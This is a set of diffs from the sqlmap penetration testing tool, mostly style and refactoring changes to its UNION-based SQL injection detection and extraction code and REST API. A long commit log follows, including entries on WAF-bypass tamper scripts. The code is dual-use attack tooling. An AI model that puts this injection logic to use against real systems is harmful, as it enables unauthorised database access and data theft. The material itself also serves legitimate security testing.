-            found = kb.orderByColumns or _orderByTechnique()
+        if lowerCount == 1 or conf.uCols:
+            found = kb.orderByColumns or (_orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique())
            if found:
                kb.orderByColumns = found
                infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "")
@@ -115,7 +117,7 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=

        if not isNullValue(kb.uChar):
            for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar):
-                contains = [(count, re.search(regex, _ or "", re.IGNORECASE) is not None) for count, _ in pages.items()]
+                contains = tuple((count, re.search(regex, _ or "", re.IGNORECASE) is not None) for count, _ in pages.items())
                if len(filter(lambda _: _[1], contains)) == 1:
                    retVal = filter(lambda _: _[1], contains)[0][0]
                    break
@@ -142,14 +144,16 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=

            elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
                    deviation = stdev(ratios)
-                    lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation

-                    if min_ < lower:
-                        retVal = minItem[0]
+                    if deviation is not None:
+                        lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation

-                    if max_ > upper:
-                        if retVal is None or abs(max_ - upper) > abs(min_ - lower):
-                            retVal = maxItem[0]
+                        if min_ < lower:
+                            retVal = minItem[0]
+
+                        if max_ > upper:
+                            if retVal is None or abs(max_ - upper) > abs(min_ - lower):
+                                retVal = maxItem[0]
    finally:
        kb.errorIsNone = popValue()

@@ -178,7 +182,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
        for position in positions:
            # Prepare expression with delimiters
            randQuery = randomStr(charCount)
-            phrase = "%s%s%s".lower() % (kb.chars.start, randQuery, kb.chars.stop)
+            phrase = ("%s%s%s" % (kb.chars.start, randQuery, kb.chars.stop)).lower()
            randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
            randQueryUnescaped = unescaper.escape(randQueryProcessed)

@@ -188,9 +192,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO

            # Perform the request
            page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
-            content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
-                removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
-                payload, True) or "")
+            content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower()

            if content and phrase in content:
                validPayload = payload
@@ -200,7 +202,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
                if where == PAYLOAD.WHERE.ORIGINAL:
                    # Prepare expression with delimiters
                    randQuery2 = randomStr(charCount)
-                    phrase2 = "%s%s%s".lower() % (kb.chars.start, randQuery2, kb.chars.stop)
+                    phrase2 = ("%s%s%s" % (kb.chars.start, randQuery2, kb.chars.stop)).lower()
                    randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
                    randQueryUnescaped2 = unescaper.escape(randQueryProcessed2)

@@ -210,7 +212,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO

                    # Perform the request
                    page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
-                    content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "")
+                    content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower()

                    if not all(_ in content for _ in (phrase, phrase2)):
                        vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True)
@@ -223,9 +225,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO

                        # Perform the request
                        page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
-                        content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
-                            removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
-                            payload, True) or "")
+                        content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower()
                        if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
                            warnMsg = "output with limited number of rows detected. Switching to partial mode"
                            logger.warn(warnMsg)
@@ -277,7 +277,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
    if count:
        validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count)

-        if not all([validPayload, vector]) and not all([conf.uChar, conf.dbms]):
+        if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms)):
            warnMsg = "if UNION based SQL injection is not detected, "
            warnMsg += "please consider "

@@ -298,7 +298,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
                    warnMsg += "forcing the "
                warnMsg += "back-end DBMS (e.g. '--dbms=mysql') "

-            if not all([validPayload, vector]) and not warnMsg.endswith("consider "):
+            if not all((validPayload, vector)) and not warnMsg.endswith("consider "):
                singleTimeWarnMessage(warnMsg)

    return validPayload, vector
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -44,6 +44,7 @@ from lib.core.data import logger
 from lib.core.data import queries
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import DBMS
+from lib.core.enums import HTTP_HEADER
 from lib.core.enums import PAYLOAD
 from lib.core.exception import SqlmapDataException
 from lib.core.exception import SqlmapSyntaxException
@@ -89,11 +90,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
            # Parse the returned page to get the exact UNION-based
            # SQL injection output
            def _(regex):
-                return reduce(lambda x, y: x if x is not None else y, (\
-                        extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
-                        extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
-                        if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
-                        None)
+                return reduce(lambda x, y: x if x is not None else y, (extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), None)

            # Automatically patching last char trimming cases
            if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
@@ -236,13 +233,7 @@ def unionUse(expression, unpack=True, dump=False):
    # SQL limiting the query output one entry at a time
    # NOTE: we assume that only queries that get data from a table can
    # return multiple entries
-    if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
-       kb.forcePartialUnion or \
-       (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \
-       " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
-       not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \
-       and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
-       and not re.search(SQL_SCALAR_REGEX, expression, re.I):
+    if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
        expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)

        if limitCond:
@@ -262,7 +253,7 @@ def unionUse(expression, unpack=True, dump=False):
                else:
                    stopLimit = int(count)

-                    infoMsg = "the SQL query used returns "
+                    infoMsg = "used SQL query returns "
                    infoMsg += "%d entries" % stopLimit
                    logger.info(infoMsg)

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -2,7 +2,7 @@
 # -*- coding: utf-8 -*-

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -45,7 +45,6 @@ from lib.core.settings import RESTAPI_DEFAULT_ADDRESS
 from lib.core.settings import RESTAPI_DEFAULT_PORT
 from lib.core.subprocessng import Popen
 from lib.parse.cmdline import cmdLineParser
-from thirdparty.bottle.bottle import abort
 from thirdparty.bottle.bottle import error as return_error
 from thirdparty.bottle.bottle import get
 from thirdparty.bottle.bottle import hook
@@ -95,7 +94,7 @@ class Database(object):
                else:
                    self.cursor.execute(statement)
            except sqlite3.OperationalError, ex:
-                if not "locked" in getSafeExString(ex):
+                if "locked" not in getSafeExString(ex):
                    raise
            else:
                break
@@ -104,22 +103,11 @@ class Database(object):
            return self.cursor.fetchall()

    def init(self):
-        self.execute("CREATE TABLE logs("
-                  "id INTEGER PRIMARY KEY AUTOINCREMENT, "
-                  "taskid INTEGER, time TEXT, "
-                  "level TEXT, message TEXT"
-                  ")")
+        self.execute("CREATE TABLE logs(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, time TEXT, level TEXT, message TEXT)")

-        self.execute("CREATE TABLE data("
-                  "id INTEGER PRIMARY KEY AUTOINCREMENT, "
-                  "taskid INTEGER, status INTEGER, "
-                  "content_type INTEGER, value TEXT"
-                  ")")
+        self.execute("CREATE TABLE data(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, status INTEGER, content_type INTEGER, value TEXT)")

-        self.execute("CREATE TABLE errors("
-                    "id INTEGER PRIMARY KEY AUTOINCREMENT, "
-                    "taskid INTEGER, error TEXT"
-                    ")")
+        self.execute("CREATE TABLE errors(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, error TEXT)")

 class Task(object):
    def __init__(self, taskid, remote_addr):
@@ -278,7 +266,7 @@ def setRestAPILog():
            conf.databaseCursor = Database(conf.database)
            conf.databaseCursor.connect("client")
        except sqlite3.OperationalError, ex:
-            raise SqlmapConnectionException, "%s ('%s')" % (ex, conf.database)
+            raise SqlmapConnectionException("%s ('%s')" % (ex, conf.database))

        # Set a logging handler that writes log messages to a IPC database
        logger.removeHandler(LOGGER_HANDLER)
@@ -861,7 +849,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
            return

        elif command in ("help", "?"):
-            msg =  "help           Show this help message\n"
+            msg = "help           Show this help message\n"
            msg += "new ARGS       Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n"
            msg += "use TASKID     Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n"
            msg += "data           Retrieve and show data for current task\n"
--- a/Show More
+++ b/Show More
Author	SHA1	Message	Date
Miroslav Stampar	8f7a7bed20	Minor patch	2018-05-03 13:31:27 +02:00
Miroslav Stampar	36b0ece2ad	Minor message update	2018-04-30 11:02:01 +02:00
Miroslav Stampar	7d8fbab035	Fixes #3069	2018-04-26 18:56:17 +02:00
Miroslav Stampar	5580db0045	Fixes #3067	2018-04-24 19:52:12 +02:00
Miroslav Stampar	3fde205cd4	Generic patch for #2886 (cause still unknown)	2018-04-24 19:45:53 +02:00
Miroslav Stampar	1822cc05f6	Patch for #3060	2018-04-22 01:12:56 +02:00
Miroslav Stampar	509bb41b06	Adding (hidden) switch '--force-pivoting' (Issue #3032 )	2018-04-17 17:08:57 +02:00
Miroslav Stampar	8ca3287df4	Proper way to skip already used payloads (important to --suffix/--prefix cases)	2018-04-12 14:38:32 +02:00
Miroslav Stampar	60767de2eb	Patching issue that got into with patch for #2934 (ORDER BY was unusable in majority of regular cases)	2018-04-12 12:25:37 +02:00
Miroslav Stampar	29e683fb5b	Skip prepending CR to readInput messages if in non-TTY mode (ugly looking in Linux text editors)	2018-04-12 11:33:23 +02:00
Miroslav Stampar	148d1c9ff9	Fixes #3037	2018-04-11 15:19:44 +02:00
Miroslav Stampar	a8cb14ed4a	Minor patch (disable tamper script usage in WAF/IDS/IPS check phase)	2018-04-11 14:48:54 +02:00
Miroslav Stampar	c634f0b0d6	Patch related to the #3041	2018-04-11 13:14:09 +02:00
Miroslav Stampar	8605c49911	Update related to the #3039	2018-04-11 13:06:47 +02:00
Miroslav Stampar	44f6951dfe	Update of xml/banner files	2018-04-10 11:35:39 +02:00
Miroslav Stampar	b5b32c951c	Minor update	2018-04-10 11:03:08 +02:00
Miroslav Stampar	a9c3b59cff	Update related to the #2999	2018-04-09 12:14:46 +02:00
Miroslav Stampar	4528cb014d	Minor just in case patch	2018-04-09 12:05:08 +02:00
Miroslav Stampar	2c5f976993	Fixes #3035	2018-04-09 11:34:50 +02:00
Miroslav Stampar	4f2669a45a	Fixes #3030	2018-04-06 01:13:04 +02:00
Miroslav Stampar	641838ed73	Minor update	2018-04-06 01:06:58 +02:00
Miroslav Stampar	2a681b7bd6	Fixes #3027	2018-04-05 12:25:41 +02:00
Miroslav Stampar	7f3f1dcdee	Fixes #3022	2018-04-03 12:50:09 +02:00
Miroslav Stampar	4147f44e63	Potential patch for Issues like #3013 and #3017	2018-04-01 12:45:47 +02:00
Miroslav Stampar	2cc6214227	Fixes #3020	2018-04-01 11:25:51 +02:00
Miroslav Stampar	8a90512354	One more commit related to the last one (reduce false hopes in heavily dynamic cases)	2018-03-31 11:02:48 +02:00
Miroslav Stampar	ae8699f258	Reducing false-positive 'appears' messages in heavily dynamic environment	2018-03-29 14:47:30 +02:00
Miroslav Stampar	cdb1e79370	Disabling ORDER BY tests in heavily dynamic environment	2018-03-29 14:37:33 +02:00
Miroslav Stampar	f0677d88b7	Trivial update	2018-03-29 14:22:46 +02:00
Miroslav Stampar	16cd13d7db	Fixes #3014	2018-03-28 17:24:12 +02:00
Miroslav Stampar	c7329cb03b	Probable patch for #3013 and similar Issues	2018-03-28 15:23:14 +02:00
Miroslav Stampar	45fb5ab4a5	Patch for cases when http: is immediatelly being redirected to https:	2018-03-28 15:13:33 +02:00
Miroslav Stampar	241f7321de	Proper patch related to the #3009	2018-03-26 15:39:48 +02:00
Miroslav Stampar	c6c1ac02bb	Patch related to the #3009	2018-03-26 15:07:43 +02:00
Miroslav Stampar	f287ff3767	Trivial comment update	2018-03-21 14:29:54 +01:00
Miroslav Stampar	7d5a0ed2dc	Use false-positive checks in dummy mode	2018-03-21 14:22:59 +01:00
Miroslav Stampar	4fc7fc6447	Patch for an Issue #2943	2018-03-20 11:32:31 +01:00
Miroslav Stampar	880d709bfd	Removing checkIntegrity() from smokeTest() (primarly used before commiting)	2018-03-20 10:32:47 +01:00
Miroslav Stampar	0ddc7bae66	Fixes #2997	2018-03-20 10:31:31 +01:00
Miroslav Stampar	305b2aa9b5	Minor update for smoke test	2018-03-19 01:02:28 +01:00
Miroslav Stampar	e63b97afd6	Refactoring #2992	2018-03-19 00:53:16 +01:00
Arjun V	c378b6691c	Adding sample schemas shipped with Oracle DB (#2992 ) * Adding sample schemas shipped with Oracle DB Added sample schemas that are included with the Oracle Guides. They are unbelievably common in live systems from personal experience. https://docs.oracle.com/cd/E11882_01/server.112/e10575/tdpsg_user_accounts.htm#TDPSG20303 * Adding as an oracle system database for exclusion `APPQOSSYS` schema is used by Oracle Database QoS Management https://docs.oracle.com/cd/E11882_01/server.112/e24611/install_config.htm	2018-03-19 00:51:00 +01:00
Miroslav Stampar	ee431cd83b	Minor update	2018-03-19 00:39:48 +01:00
Miroslav Stampar	e088fe08ec	Update related to the #2995	2018-03-19 00:33:30 +01:00
Miroslav Stampar	74de40b9c5	Minor patch of a previous commit	2018-03-16 15:21:19 +01:00
Miroslav Stampar	6c2b7cff80	Minor patch of UNION checking logic	2018-03-16 15:11:04 +01:00
Miroslav Stampar	a6809e03ef	Minor just in case patch	2018-03-16 14:38:47 +01:00
Miroslav Stampar	ac68eed65d	Trivial code style update	2018-03-16 14:33:22 +01:00
Miroslav Stampar	a27f21cb1d	Trivial message updates	2018-03-16 14:30:47 +01:00
Miroslav Stampar	01fb07f68c	Minor patch (message for --check-internet)	2018-03-16 14:28:37 +01:00
Miroslav Stampar	d7f2445814	Minor patch of error message parsing regex	2018-03-16 14:25:27 +01:00
Miroslav Stampar	6875c40a06	Minor update of permission problems detection	2018-03-16 14:20:43 +01:00
Miroslav Stampar	4cd859012a	Switching zipball update method to experimental	2018-03-15 11:07:14 +01:00
Miroslav Stampar	5feb4c3ccd	Updated --update mechanism (fetching and extraction of zipball)	2018-03-14 13:36:10 +01:00
Miroslav Stampar	3c5e9e7559	Fixes #2982	2018-03-14 01:02:26 +01:00
Miroslav Stampar	909a3456e3	Potential fix for #2980	2018-03-13 14:40:32 +01:00
Miroslav Stampar	fa4c1c5251	Some more PEPing (I hope that I haven't broke anything)	2018-03-13 13:45:42 +01:00
Miroslav Stampar	8166a4eeb8	Minor PEPing	2018-03-13 11:25:26 +01:00
Miroslav Stampar	ae2b02952f	Dealing with deprecated raises	2018-03-13 11:13:38 +01:00
Miroslav Stampar	1d9c11b1c1	Minor update of Travis config	2018-03-13 11:03:05 +01:00
Miroslav Stampar	99894dc3c1	Minor update (git/https repo address consistency)	2018-03-13 10:37:13 +01:00
Miroslav Stampar	0c4b6c9978	Fixes #2974	2018-03-12 11:37:48 +01:00
Miroslav Stampar	cd88caa0e7	Fixes #2977	2018-03-11 03:34:31 +01:00
Miroslav Stampar	c024233f88	Minor patch	2018-03-11 03:28:19 +01:00
Miroslav Stampar	5380e8174b	Safer WAF heuristics in case of URI injections	2018-03-11 03:20:33 +01:00
Miroslav Stampar	4cefff7e98	Bug fix (misencoding inside check waf payload)	2018-03-11 03:13:33 +01:00
Miroslav Stampar	11b52c85e1	Patch of bug introduced with `76905e8728`	2018-03-11 02:46:37 +01:00
Miroslav Stampar	24cefeaee2	Minor notification update	2018-03-11 02:20:22 +01:00
Miroslav Stampar	9ad32864ec	Fixes #2973	2018-03-11 02:15:17 +01:00
Miroslav Stampar	190e8ae5fa	Bug fix (UNION SQLi with --no-escape)	2018-03-08 17:44:15 +01:00
Miroslav Stampar	43044d8512	Added new compiled 64-bit version (Issue #2965 )	2018-03-08 13:33:49 +01:00
Miroslav Stampar	881b49afd2	Fixes #2969	2018-03-08 01:21:34 +01:00
Miroslav Stampar	93b425809e	With latest NULL checks (Issue #2965 )	2018-03-07 16:04:35 +01:00
Miroslav Stampar	4f2f31af67	Compiled 32-bit version for #2965	2018-03-07 15:43:42 +01:00
Miroslav Stampar	f95d0c831b	Minor refactoring (already default mode in os.makedirs)	2018-03-07 14:34:38 +01:00
Miroslav Stampar	76905e8728	Patch related to the #2953	2018-03-05 10:53:24 +01:00
Miroslav Stampar	8d6cc4ae2c	Fixes #2959	2018-03-03 00:50:47 +01:00
Miroslav Stampar	a369f61207	Fixes #2956	2018-03-03 00:27:21 +01:00
Miroslav Stampar	34d2fb1c8f	Fixes #2957	2018-03-03 00:01:26 +01:00
Miroslav Stampar	ec6de40a8d	Fixes #2958	2018-03-02 23:38:07 +01:00
Miroslav Stampar	6402d2ec57	Fixes #2952	2018-02-28 09:44:45 +01:00
Miroslav Stampar	b25f2bfa45	Minor patch (not not upload to <script.ext>/ directories)	2018-02-27 12:57:48 +01:00
Miroslav Stampar	9df16f3eb2	Bug fix (regex for paths included full error message)	2018-02-27 12:49:05 +01:00
Miroslav Stampar	d99151ce5a	Minor update for --wizard mode	2018-02-27 12:37:45 +01:00
Miroslav Stampar	93859fdc42	Fixes #2948	2018-02-26 13:37:19 +01:00
Miroslav Stampar	b595b883d1	Temporary patch for #2947	2018-02-25 17:39:21 +01:00
Miroslav Stampar	67f8c22702	Fixes #2942	2018-02-21 11:47:01 +01:00
Miroslav Stampar	24cc6e92e9	Trivial update	2018-02-20 14:26:31 +01:00
Miroslav Stampar	f38596a5b3	Minor refactoring	2018-02-20 14:02:02 +01:00
Miroslav Stampar	5ff54bf9c6	Fixes #2934	2018-02-14 17:10:44 +01:00
Miroslav Stampar	8e8ae52288	Minor text update	2018-02-13 23:10:53 +01:00
Miroslav Stampar	e2cc9569e5	Implementation for an Issue #2891	2018-02-13 15:53:50 +01:00
Miroslav Stampar	365fa5a52a	Fixes #2923	2018-02-10 11:06:31 +01:00
Miroslav Stampar	faaae2b647	Minor refactoring	2018-02-08 17:08:44 +01:00
Miroslav Stampar	d813d24c48	Minor update	2018-02-08 16:58:50 +01:00
Miroslav Stampar	e347d90ec5	Minor patch	2018-02-08 16:53:46 +01:00
Miroslav Stampar	56a4e507e8	Minor refactoring	2018-02-08 16:49:16 +01:00
Miroslav Stampar	5b99180ffe	Update for an Issue #806	2018-02-08 00:04:04 +01:00
Miroslav Stampar	061c8da36b	Proper overlongutf8.py (Issue #806 )	2018-02-07 23:59:36 +01:00
Miroslav Stampar	a16663f9a1	Minor refactoring	2018-02-07 16:05:41 +01:00
Miroslav Stampar	62fc2e1e17	Fixes #2911	2018-02-06 10:48:47 +01:00
Miroslav Stampar	ef8b2d793f	Fixes #2910	2018-02-06 10:27:10 +01:00
Miroslav Stampar	aebfb7d597	Update related to the #2912	2018-02-06 09:50:36 +01:00
Miroslav Stampar	9e75bb7f68	Minor patch	2018-01-31 11:43:17 +01:00
Miroslav Stampar	be7711bcdb	Minor patch related to the #2900	2018-01-31 11:29:53 +01:00
Miroslav Stampar	10fd004dec	Reverting set() brace form because of Python 2.6 compatibility issues	2018-01-31 11:24:28 +01:00
Miroslav Stampar	0a8bc52910	Minor updates	2018-01-31 11:13:08 +01:00
Miroslav Stampar	31fa7f6c94	Trivial update#	2018-01-31 10:50:34 +01:00
Miroslav Stampar	30f8c30d6a	Minor update	2018-01-31 10:36:13 +01:00
Miroslav Stampar	fd8bbaff9f	Minor update of error regexes	2018-01-31 00:15:11 +01:00
Miroslav Stampar	02661c166d	Removing leftover pdb (#2769 )	2018-01-25 12:31:22 +01:00
Miroslav Stampar	4bf20066ec	Update related to the #2769	2018-01-25 12:29:56 +01:00
Miroslav Stampar	c5730ee88d	Update related to the #2677	2018-01-25 12:23:54 +01:00
Miroslav Stampar	a7bf4f47e6	Update related to the #2677	2018-01-25 12:13:33 +01:00
Miroslav Stampar	fc06d4d9cb	Adding full OS info in error reports	2018-01-21 11:54:42 +01:00
Miroslav Stampar	4b9613e362	Trivial update	2018-01-21 11:49:50 +01:00
Miroslav Stampar	cea9d1c75e	Patch related to the #2890	2018-01-21 11:11:20 +01:00
Miroslav Stampar	94c170d392	Minor refactoring	2018-01-15 14:04:41 +01:00
Miroslav Stampar	18626656ec	Minor patch	2018-01-15 13:53:46 +01:00
Miroslav Stampar	e5ab678db0	Fixes #2856	2018-01-15 13:43:50 +01:00
Miroslav Stampar	a59198d1e4	Minor just in case patch (to prevent junk reports)	2018-01-15 09:48:07 +01:00
Miroslav Stampar	f6738adc04	Abracadabra #2790	2018-01-12 16:17:57 +01:00
Miroslav Stampar	e0dee9418d	Fixes #2866	2018-01-08 01:21:29 +01:00
Miroslav Stampar	439f8247b6	Revert of version string	2018-01-02 01:08:47 +01:00
Miroslav Stampar	165b275fd7	Update of version	2018-01-02 01:05:01 +01:00
Miroslav Stampar	811bd0e89f	Updating version string for fresh tag	2018-01-02 00:55:08 +01:00
Miroslav Stampar	47bbcf90ea	More updates of copyright years	2018-01-02 00:50:07 +01:00
Miroslav Stampar	8a122401aa	Update of copyright years	2018-01-02 00:48:10 +01:00
Miroslav Stampar	ddc453e3da	Update of minor revision	2018-01-02 00:44:40 +01:00
Miroslav Stampar	764d114b3c	Fixes #2858	2018-01-02 00:42:20 +01:00
Miroslav Stampar	6e9fe27fa0	Minor patch related to the #2856	2017-12-30 16:35:45 +01:00
Miroslav Stampar	132fb0d18d	Another just in case patch for #2852	2017-12-30 16:25:19 +01:00
Miroslav Stampar	84b7a26bfd	Minor patch for #2852	2017-12-29 13:52:15 +01:00
Miroslav Stampar	66c1f72a16	Minor optimization	2017-12-29 13:04:52 +01:00
Miroslav Stampar	b6584c8043	Fixes #2853	2017-12-28 13:25:26 +01:00
Miroslav Stampar	78ac42c168	Minor refactoring	2017-12-28 12:56:30 +01:00
Miroslav Stampar	009f13742e	Dirty patch for safe-encoded unicode characters	2017-12-27 12:23:35 +01:00
Miroslav Stampar	1df0461893	Guessing patch for #2837 (as of lack of user data)	2017-12-25 00:18:06 +01:00
Miroslav Stampar	bc1fbc5a58	Potential patch for #2847	2017-12-24 23:54:43 +01:00
Miroslav Stampar	cad6cfe6a6	Fixes #2843	2017-12-24 04:03:32 +01:00
Miroslav Stampar	7ade3aa1ad	Fixes #2841	2017-12-22 01:25:03 +01:00
Miroslav Stampar	0b24a80387	Patch related to the --hex and --technique=E (potential patch for #2837 )	2017-12-20 14:51:15 +01:00
Miroslav Stampar	574074e171	Another patch for #2827	2017-12-14 15:45:14 +01:00
Miroslav Stampar	f2f7994ac6	Minor improvement of generic WAF script	2017-12-13 15:31:35 +01:00
Miroslav Stampar	42ddfd8f50	Minor bug fix	2017-12-13 15:12:03 +01:00
Miroslav Stampar	2d4391dc36	Adding new WAF script (F5 ASM)	2017-12-13 15:10:15 +01:00
Miroslav Stampar	5326df1071	Minor grammar fix	2017-12-13 13:49:55 +01:00
Miroslav Stampar	9a2cdd4b59	Potential patch for #2826	2017-12-13 13:22:42 +01:00
Miroslav Stampar	acd764fee8	Fixes #2828	2017-12-13 10:46:46 +01:00
Miroslav Stampar	310a82933c	Patch for #2827	2017-12-13 10:22:25 +01:00
Miroslav Stampar	b1662f54c8	Revisiting some of links	2017-12-12 13:39:58 +01:00
Miroslav Stampar	8cef17b583	Minor just in case patch (error set in case of --string)	2017-12-12 11:18:17 +01:00
Miroslav Stampar	cb1b5d30fd	Minor refactoring	2017-12-12 10:48:19 +01:00
Miroslav Stampar	5d6b972002	Switching Informix dump from regular to pivotdumptable	2017-12-11 14:49:30 +01:00
Miroslav Stampar	57044262d9	Minor patch for pivotdump	2017-12-11 14:15:11 +01:00
Miroslav Stampar	8d19c3bd46	Proper patch related to the `dde1178100`	2017-12-11 13:01:37 +01:00
Miroslav Stampar	b9efdb2999	Fixes #2824	2017-12-11 11:26:09 +01:00
Miroslav Stampar	dde1178100	Fixes (old) Informix escaping	2017-12-11 10:44:47 +01:00
Miroslav Stampar	638dbf255a	Fixes #2818	2017-12-06 13:42:15 +01:00
Miroslav Stampar	a90b5f7fb3	Fixes #2766	2017-12-05 11:33:30 +01:00
Miroslav Stampar	06ca058300	Fixes #2812	2017-12-04 15:40:59 +01:00
Miroslav Stampar	370884d07a	Fixes #2811	2017-12-04 14:59:05 +01:00
Miroslav Stampar	91bffe988b	Minor patch	2017-12-04 14:22:51 +01:00
Miroslav Stampar	220dffbcfa	Couple of wording updates	2017-12-04 13:59:35 +01:00
Miroslav Stampar	9fab2c9764	Minor refactoring	2017-12-04 13:41:02 +01:00
Miroslav Stampar	7244e8e4e2	Minor patches	2017-12-04 13:24:51 +01:00
Miroslav Stampar	e7268ffb4d	Fixes #2809	2017-12-01 10:32:44 +01:00
Miroslav Stampar	7c5b051d60	Fixes #2808	2017-11-29 15:59:00 +01:00
Miroslav Stampar	5899fd5ef2	Update related to the #2806	2017-11-27 22:24:44 +01:00
Miroslav Stampar	f60727a891	Minor update of sitelock.py	2017-11-26 12:11:09 +01:00
Miroslav Stampar	792ed52ab5	New WAF scripts	2017-11-26 12:06:23 +01:00
Miroslav Stampar	132a72c9bd	Minor update of logging messages	2017-11-24 12:20:57 +01:00
Miroslav Stampar	8735a49f63	Some more refactoring	2017-11-24 11:49:31 +01:00
Miroslav Stampar	b9e2e8b74d	Minor refactoring	2017-11-24 11:44:14 +01:00
Miroslav Stampar	b23626db70	Minor update	2017-11-24 11:36:27 +01:00
Miroslav Stampar	33d8ce8923	Minor patches	2017-11-24 10:54:03 +01:00
Miroslav Stampar	72f7caa23b	Minor refactoring	2017-11-24 10:38:29 +01:00
Miroslav Stampar	284bdac72c	Minor patch	2017-11-22 16:17:14 +01:00
Miroslav Stampar	7d6a3c4034	Refactoring shell files	2017-11-22 15:59:29 +01:00
Miroslav Stampar	02274f6db1	Minor patch (smoke test failed)	2017-11-22 13:31:44 +01:00
Miroslav Stampar	bf8b2eb21e	Minor update regarding #2791	2017-11-22 13:29:39 +01:00
Vitaly Salnikov	1436333960	Add new tamper script witch can Replaces instances like 'IFNULL(A, B)' with 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END', it could be usefull for bypass some weak WAFs that filter the 'IFNULL' and 'IF' functions (#2791 )	2017-11-22 13:27:49 +01:00
Miroslav Stampar	d7677f322d	Fixes #2793	2017-11-22 13:07:04 +01:00
Miroslav Stampar	ab641e9242	Minor improvement for sonicwall WAF script	2017-11-21 09:23:16 +01:00
Miroslav Stampar	ec83837342	Fixes #2786	2017-11-19 02:51:29 +01:00
Miroslav Stampar	2333903b68	Fixes #2785	2017-11-19 02:16:52 +01:00
Miroslav Stampar	d54ec88648	Adding compression to BigArray mechanism (to save disk space on big dumps)	2017-11-17 11:45:02 +01:00
Houziaux Mike	f210d66dff	fix wording to french documentation (#2782 )	2017-11-17 09:39:48 +01:00
Miroslav Stampar	a651c8a637	Fixes #2779	2017-11-15 10:36:32 +01:00
